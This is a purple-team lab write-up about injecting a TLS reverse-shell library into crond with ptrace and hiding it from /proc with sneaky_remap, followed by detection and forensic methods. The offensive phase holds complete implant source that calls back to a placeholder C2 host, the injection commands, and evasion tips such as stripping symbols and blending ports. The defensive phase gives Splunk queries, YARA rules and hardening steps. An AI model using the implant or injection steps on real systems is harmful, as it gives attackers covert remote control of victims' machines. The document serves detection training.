EDR-T6370 - Sneaky_remap + Ptrace() Process Injection in Rust + SSL/TLS callback

EDR-T6370 - This test uses ptrace-inject - a tool for injecting code into a running process using ptrace() with a combination of sneaky_remap and a custom SSL/TLS Reverse shell callback. ptrace-inject injects a reverse shell shared library into a running process, and sneaky_remap hides the name of a loaded shared object file (library). The general idea is to copy the readable pages from the library's file to new anonymous pages, keeping the same permissions. Then it uses mremap(2) to copy back over the relevant pages from the shared object file, unmapping the file in the process. The final result is that the library now shows up as anonymous memory in /proc/pid/maps, effectively being invisible from locations below:

  • /proc/pid/map_files

  • /proc/pid/maps

  • /proc/pid/numa_maps

  • /proc/pid/smaps

Additionally, the spawned sh process is masqueraded as ps uax ;-) Long story short, sneaky_remap stealthily remaps the shared object file to avoid being seen in /proc/pid/maps.

OFFENSIVE PHASE:

@KALI_X_or_C2_X:

# openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt -days 365 -nodes
# openssl s_server -accept 44444 -cert server.crt -key server.key

@TARGET_X:

# git clone https://github.com/magisterquis/sneaky_remap
# cd sneaky_remap/

# vim EDR-T6370-combo-ssl-revshell-callback.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <err.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#include "sneaky_remap.h"

// Function to initialize the reverse shell with TLS
void init_reverse_shell(const char *host, int port) {
    int sockfd;
    struct sockaddr_in server_addr;
    SSL_CTX *ctx = NULL;
    SSL *ssl = NULL;

    // Initialize OpenSSL
    SSL_load_error_strings();
    OpenSSL_add_ssl_algorithms();

    // Create SSL context
    ctx = SSL_CTX_new(TLS_client_method());
    if (!ctx) {
        warnx("SSL_CTX_new failed");
        return;
    }

    // Disable certificate verification (for simplicity; not secure for production)
    SSL_CTX_set_verify(ctx, SSL_VERIFY_NONE, NULL);

    // Create socket
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd < 0) {
        warn("socket creation failed");
        goto cleanup;
    }

    // Set up server address structure
    memset(&server_addr, 0, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(port);
    if (inet_pton(AF_INET, host, &server_addr.sin_addr) <= 0) {
        warn("invalid address: %s", host);
        goto cleanup;
    }

    // Connect to remote host
    if (connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
        warn("connect failed");
        goto cleanup;
    }

    // Create SSL structure
    ssl = SSL_new(ctx);
    if (!ssl) {
        warnx("SSL_new failed");
        goto cleanup;
    }

    // Bind SSL to socket
    if (SSL_set_fd(ssl, sockfd) != 1) {
        warnx("SSL_set_fd failed");
        goto cleanup;
    }

    // Perform TLS handshake
    if (SSL_connect(ssl) != 1) {
        warnx("SSL_connect failed");
        goto cleanup;
    }

    // Redirect stdin, stdout, stderr to SSL connection
    // Note: We can't use dup2 directly with SSL, so we handle I/O via SSL_read/SSL_write
    // Fork a child to handle shell execution
    pid_t pid = fork();
    if (pid == 0) {
        // Child process: execute shell
        char buf[1024];
        int n;

        // Redirect shell I/O through SSL
        int stdin_pipe[2], stdout_pipe[2];
        if (pipe(stdin_pipe) < 0 || pipe(stdout_pipe) < 0) {
            warn("pipe creation failed");
            goto cleanup;
        }

        pid_t shell_pid = fork();
        if (shell_pid == 0) {
            // Grandchild: execute shell
            close(stdin_pipe[1]);
            close(stdout_pipe[0]);
            dup2(stdin_pipe[0], 0);  // stdin from pipe
            dup2(stdout_pipe[1], 1); // stdout to pipe
            dup2(stdout_pipe[1], 2); // stderr to pipe
            close(stdin_pipe[0]);
            close(stdout_pipe[1]);
        char *fake_argv[] = { "ps uax", NULL };
            char *envp[] = { NULL };
            execve("/bin/sh", fake_argv, envp);
            warn("execve failed");
            exit(1);
        }

        // Child: handle I/O between SSL and shell
        close(stdin_pipe[0]);
        close(stdout_pipe[1]);

        while (1) {
            // Read from SSL, write to shell
            n = SSL_read(ssl, buf, sizeof(buf));
            if (n <= 0) break;
            write(stdin_pipe[1], buf, n);

            // Read from shell, write to SSL
            n = read(stdout_pipe[0], buf, sizeof(buf));
            if (n <= 0) break;
            SSL_write(ssl, buf, n);
        }

        // Cleanup child
        close(stdin_pipe[1]);
        close(stdout_pipe[0]);
        exit(0);
    }

cleanup:
    if (ssl) SSL_free(ssl);
    if (sockfd >= 0) close(sockfd);
    if (ctx) SSL_CTX_free(ctx);
}

// Library initialization function
__attribute__((constructor))
void ctor(void) {
    int ret;

    // Run sneaky_remap_start
    switch (ret = sneaky_remap_start(NULL, NULL, 0)) {
        case SREM_RET_OK: /* Good. */
            break;
        case SREM_RET_ERRNO: /* Not our fault, at least? */
            warn("sneaky_remap_start");
            return; // Exit early on error
        default:
            warnx("sneaky_remap error %d", ret);
            return; // Exit early on error
    }

    // Fork to run reverse shell in background
    pid_t pid = fork();
    if (pid == 0) {
        // Child process: start reverse shell
        const char *host = "KALI_X_or_C2_X_IP"; 
        int port = 44444;                
        init_reverse_shell(host, port);
        exit(0);
    }
}
# gcc -O2 -Wall -Wextra -fPIC -o EDR-T6370-combo-ssl-revshell-callback.so -lssl -lcrypto -shared EDR-T6370-combo-ssl-revshell-callback.c sneaky_remap.c
# git clone https://github.com/Artemis21/ptrace-inject
# cd ptrace-inject
# yum install cargo
# cargo install ptrace-inject --features cli
# /root/.cargo/bin/ptrace-inject -p `systemctl show --property MainPID --value crond` /root/sneaky_remap/EDR-T6370-combo-ssl-revshell-callback.so


DEFENSIVE/DFIR PHASE:

CLI:

# systemctl show --property MainPID --value crond
445720
# cat /proc/445720/maps

CLI - Linux IR scripts:

# cd /opt/secl/linux-ir-scripts-v3
# ./ir_executor.sh unexpected-talkers-linux.sh

CLI - Linux IR scripts:

# cd /opt/secl/linux-ir-scripts-v3
# ./ir_executor.sh unexpected-shell-parents.sh

CLI - gdb:

# cat /proc/445720/maps | grep stack
7fffffbf4000-7ffffffff000 rw-p 00000000 00:00 0                          [stack]
# gdb -p 445720
(gdb) dump memory /tmp/sneaky.dump 0x7fffffbf4000 0x7ffffffff000
(gdb) exit
# strings /tmp/sneaky.dump

Splunk - Kunai Runtime Security:

index=kunai host="targetX.edrmetry.local" crond event_name=ptrace

Splunk - Kunai Runtime Security:

index=kunai host="targetX.edrmetry.local" crond event_name=connect

Splunk - Kunai Runtime Security:

index=kunai host="targetX.edrmetry.local" ptrace-inject| top limit=20 event_name

Splunk - Kunai Runtime Security:

index=kunai host="targetX.edrmetry.local" EDR-T6370-combo-ssl-revshell-callback.so| table "data.mapped.path"

Splunk - Falco Runtime Security:

index=unix falco host=targetX.edrmetry.local "Disallowed outbound connection destination"

Splunk - Falco Runtime Security:

index=unix falco host="targetX.edrmetry.local" EDR-T6370-combo-ssl-revshell-callback.so
index=unix falco host="targetX.edrmetry.local" EDR-T6370-combo-ssl-revshell-callback.so "Suspicious /proc access detected (mem write or syscall read)"
index=unix falco host="targetX.edrmetry.local" EDR-T6370-combo-ssl-revshell-callback.so "Detected ptrace PTRACE_ATTACH attempt"


Splunk - Zeek NIDS:

index=zeek community_id="1:XroNI7K+a8mSSowx+OSBC+xrKnM="

Splunk - Zeek NIDS:

index=zeek "id.resp_p"=44444 source="/opt/zeek/spool/manager/ssl.log"


Velociraptor:

  • Linux.Hunt.RuntimeCodeInjection

Velociraptor:

  • Generic.Detection.Yara.Glob(PathGlob: /dev/shm/**)

rule Global_Linux_RevShell_SSL_SneakyRemap_Detector
{
  meta:
    description = "Global detector: EDR‑T6370 SSL reverse shell SO + sneaky_remap heuristics"
    author      = "EDRmetry Assistant"
    version     = "1.2"
    family      = "revssl+sneaky_remap"
    confidence  = "high"
    references  = "EDR‑T6370, EDR‑T6127"

  strings:
    $ssl1 = "libssl.so.3" ascii
    $ssl2 = "OPENSSL_init_ssl" ascii
    $ssl3 = "TLS_client_method" ascii
    $ssl4 = "SSL_CTX_new" ascii
    $ssl5 = "SSL_set_fd" ascii
    $ssl6 = "SSL_connect" ascii
    $ssl7 = "SSL_read" ascii
    $ssl8 = "SSL_write" ascii

    $rs1  = "init_reverse_shell" ascii
    $rs2  = "socket creation failed" ascii nocase
    $rs3  = "SSL_connect failed" ascii nocase

    $remap  = "mremap" ascii
    $munmap = "munmap" ascii
    $mmap   = "mmap" ascii
    $mprot  = "mprotect" ascii
    $memcpy = "memcpy" ascii
    $memmv  = "memmove" ascii
    $sneaky = "sneaky_remap_start" ascii
    $selfmp = "/proc/self/maps" ascii
    $pthdet = "pthread_attr_setdetachstate" ascii

  condition:
    uint32(0) == 0x464C457F and
    1 of ($ssl*) and 
    1 of ($rs1,$rs2,$rs3) and 
    $remap and 
    $munmap and
    $sneaky and
    $pthdet and 
    1 of ($mmap,$mprot,$memcpy,$memmv) and 
    $selfmp
}


Velociraptor:

  • Linux.Detection.Yara.Process

rule sneaky_injected 
{ 
strings: 
  $a = "sneaky_" ascii // related to the path to the sneaky library, so potentially to be changed or deleted
  $b = "????????????????" ascii
  $c = "--xp" ascii 
condition: all of them }

Volatility 3 Framework:

  • linux.proc.Maps

# vol -f /purplelabs_data/memory_images/targetX-mem-1760110XXX.dmp linux.proc.Maps --pid 513695

Volatility 3 Framework:

  • linux.elfs.Elfs

# vol -f /purplelabs_data/memory_images/target11-mem-1760110XXX.dmp linux.elfs.Elfs --pid 513695

Volatility 3 Framework:

  • volshell + dump anonymous mapping memory regions - TODO

Sandfly Security:

  • Run scan

Technical Summary

This lab explores a nice defense evasion technique combining ptrace-based process injection with memory remapping to create a nearly invisible implant. The attack injects a malicious shared library into a legitimate system process, then uses the sneaky_remap technique to hide the library from standard memory inspection tools.

The scenario demonstrates the complete attack chain from compiling a custom shared library with embedded SSL/TLS reverse shell capabilities, injecting it into a running daemon like crond using ptrace, and then watching as sneaky_remap erases all traces of the library from the proc filesystem. The injected code establishes an encrypted command-and-control channel while appearing to be nothing more than normal daemon activity.

Throughout the lab, we examine detection opportunities across multiple layers, including runtime security monitoring with Kunai and Falco, memory forensics with GDB and Volatility 3, network analysis with Zeek, and custom Yara rules designed to catch this specific technique.

Offensive Overview

This technique represents the convergence of three powerful evasion methods.

The attack begins with ptrace, the debugging syscall that allows one process to control another. While designed for debuggers like GDB, ptrace provides everything an attacker needs to inject code into a running process. By attaching to a target process, the attacker can read and write its memory, modify registers, and force it to execute arbitrary code. The ptrace-inject tool automates this process, taking a compiled shared library and loading it into any process the attacker has permission to debug.

The target process selection matters. System daemons like crond run continuously, rarely restart, and their network activity might go unnoticed. By injecting into crond rather than spawning a new process, the attacker inherits the daemon's legitimacy. There is no suspicious new process to investigate, no unusual parent-child relationship to question.

The injected shared library contains the actual payload: an SSL/TLS reverse shell. When the library loads, its constructor function executes automatically. This constructor creates a socket, initializes an OpenSSL context with certificate verification disabled, and establishes an encrypted connection back to the attacker's infrastructure. The encryption ensures that even if defenders capture the network traffic, they cannot see the commands being executed or data being exfiltrated.

The reverse shell implementation forks a child process to handle the actual shell interaction, using pipes to redirect input and output through the SSL connection.

But the truly innovative component is sneaky_remap. After the library loads and establishes its callback, the sneaky_remap_start() function activates. This function uses mremap() to move the library's memory pages from their file-backed locations to anonymous memory regions. Once complete, the original file mapping disappears.

The implications are profound. The /proc/pid/maps file, which normally shows every memory region and its backing file, no longer lists the malicious library. The /proc/pid/map_files directory, which contains symlinks to mapped files, shows nothing. Every standard tool that examines process memory to identify loaded libraries comes up empty.

The library's code continues executing normally because mremap() preserves the actual memory contents and their virtual addresses. Only the kernel's accounting of where that memory came from changes. The code runs, but its origin has been erased.

Risks and Mitigations for Red Team

Ptrace Restrictions

Many hardened systems enable the Yama security module which restricts ptrace to parent processes or requires CAP_SYS_PTRACE. Check /proc/sys/kernel/yama/ptrace_scope before attempting injection. A value of 0 allows unrestricted ptrace, while higher values impose increasing restrictions.

Syscall Monitoring

The ptrace attach and memory write operations generate syscalls that security tools can monitor. Kunai and similar eBPF-based tools see everything at the kernel level, regardless of userspace evasion techniques.

Network Anomalies

A daemon like crond establishing outbound TLS connections to unknown IPs on unusual ports like 44444 raises immediate red flags. Consider using common ports and domains that blend with legitimate traffic.

Compilation Artifacts

The shared library may contain strings and symbols that reveal its purpose. Strip debugging symbols and consider string obfuscation before deployment.

Memory Forensics

While sneaky_remap hides from /proc, it cannot hide from kernel memory analysis. Tools like Volatility 3 can still extract ELF structures from memory by scanning for magic bytes rather than relying on proc filesystem mappings.

Pagemap Detection

The /proc/pid/pagemap interface reveals physical page information that sneaky_remap cannot fully obscure. The Velociraptor artifact demonstrated in this course exploits this to detect modified executable pages.

Defensive/DFIR Overview

Detecting this technique requires abandoning the assumption that /proc tells the complete truth about process memory. When attackers can manipulate what the kernel reports, defenders must look deeper.

Runtime Security Detection

Kunai provides syscall-level visibility that sneaky_remap cannot evade. When ptrace-inject attaches to the target process, Kunai logs the ptrace syscall with full context including the attacker's PID, the target PID, and the ptrace operation being performed. The subsequent memory writes and the dlopen-equivalent operations that load the library all generate events.

When the injected library establishes its network connection, Kunai captures the connect() syscall with the destination IP and port. The correlation is damning: a ptrace attach to crond, followed shortly by crond making an outbound TLS connection to a foreign IP.

Falco rules trigger on behavioral patterns rather than specific syscalls. "Disallowed outbound connection destination" fires when system daemons connect to unexpected IPs. Falco can also detect the library loading anomalies that occur during injection, even if the library later hides itself.

Memory Forensics

GDB allows direct examination of process memory regardless of what /proc reports. Attaching to the suspicious process and dumping memory regions reveals the injected code. Running strings against these dumps exposes SSL function names, reverse shell strings, and sneaky_remap symbols that confirm the attack.

The key insight is that sneaky_remap hides the mapping metadata, not the actual memory contents. The code still exists at its virtual addresses. Systematic memory dumping and analysis will find it.

Volatility 3 takes this further with plugins specifically designed for this analysis. The linux.proc.Maps plugin displays memory regions and can reveal discrepancies between what the process reports and what actually exists. The linux.elfs.Elfs plugin scans memory for ELF headers, finding loaded libraries even when they lack file backing. Running this against a compromised process can extract the injected library before sneaky_remap activates, or reveal suspicious anonymous regions where library code should not exist.

Network Detection

Zeek captures the network side of the attack comprehensively. The TLS connection to the attacker's server appears in ssl.log with certificate information, connection duration, and data volumes. Connections on unusual ports like 44444 from processes that should not be making such connections warrant immediate investigation.

Zeek's community ID feature allows correlation across different log types, linking the suspicious connection to other network activity from the same session.

Velociraptor Detection

The Velociraptor artifact Linux.Hunt.RuntimeCodeInjection specifically detects sneaky_remap-style attacks. It works by examining /proc/pid/pagemap, which contains physical page frame information that sneaky_remap cannot manipulate.

When executable pages backed by files have been modified in memory, the soft-dirty bit in the pagemap entry reveals the tampering. The artifact scans all processes for this condition, identifying those with "tainted" code pages that indicate runtime modification.

Yara Detection

A comprehensive Yara rule can identify the injected library either on disk before deployment or extracted from memory:

The rule matches on combinations of:

  • ELF header magic bytes

  • OpenSSL function references (SSL_connect, SSL_read, SSL_write)

  • Memory manipulation syscalls (mremap, munmap, mprotect)

  • Sneaky_remap-specific symbols and strings

  • /proc/self/maps references indicating self-inspection

  • Reverse shell initialization patterns

Forensic Artifacts

The ptrace syscall events persist in audit logs, recording the moment of injection with process IDs and timestamps. Network connection logs capture the C2 channel establishment. Zeek logs preserve TLS handshake details including any certificate information.

The process's /proc directory, while manipulated, still contains useful artifacts. The /proc/pid/exe symlink points to the original executable. The /proc/pid/cmdline shows command arguments. The /proc/pid/fd directory reveals open file descriptors including network sockets.

Memory dumps taken during incident response preserve the injected code for offline analysis. Even if the live system shows manipulated proc entries, forensic images capture the actual memory contents.

Mitigation and Hardening

Restricting ptrace through the Yama security module prevents unprivileged injection:

# echo 2 > /proc/sys/kernel/yama/ptrace_scope

Value 2 restricts ptrace to processes with CAP_SYS_PTRACE, blocking standard user injection attacks.

Mandatory Access Control systems like SELinux can prevent processes from being ptraced or from loading unexpected libraries. Properly configured policies confine daemons to their expected behavior.

Network egress filtering prevents compromised processes from establishing outbound connections to attacker infrastructure, breaking the C2 channel even if injection succeeds.

MITRE ATT&CK Mapping

T1055.008 - Process Injection: Ptrace System Calls

The attack uses ptrace to inject a malicious shared library into a running process, hijacking its execution context.

T1055.001 - Process Injection: Dynamic-link Library Injection

A compiled shared library containing the payload is loaded into the target process's address space.

T1014 - Rootkit

The sneaky_remap technique modifies how the kernel reports process memory, hiding the injected library from standard inspection tools.

T1573.002 - Encrypted Channel: Asymmetric Cryptography

The reverse shell uses SSL/TLS encryption to protect C2 communications from network inspection.

T1036 - Masquerading

The forked shell process disguises its argv as "ps uax" to appear legitimate in process listings.

T1059.004 - Command and Scripting Interpreter: Unix Shell

The ultimate payload provides interactive shell access to the compromised system.

T1071.001 - Application Layer Protocol: Web Protocols

The C2 channel uses TLS, commonly associated with HTTPS traffic, to blend with legitimate encrypted communications.

LINKS: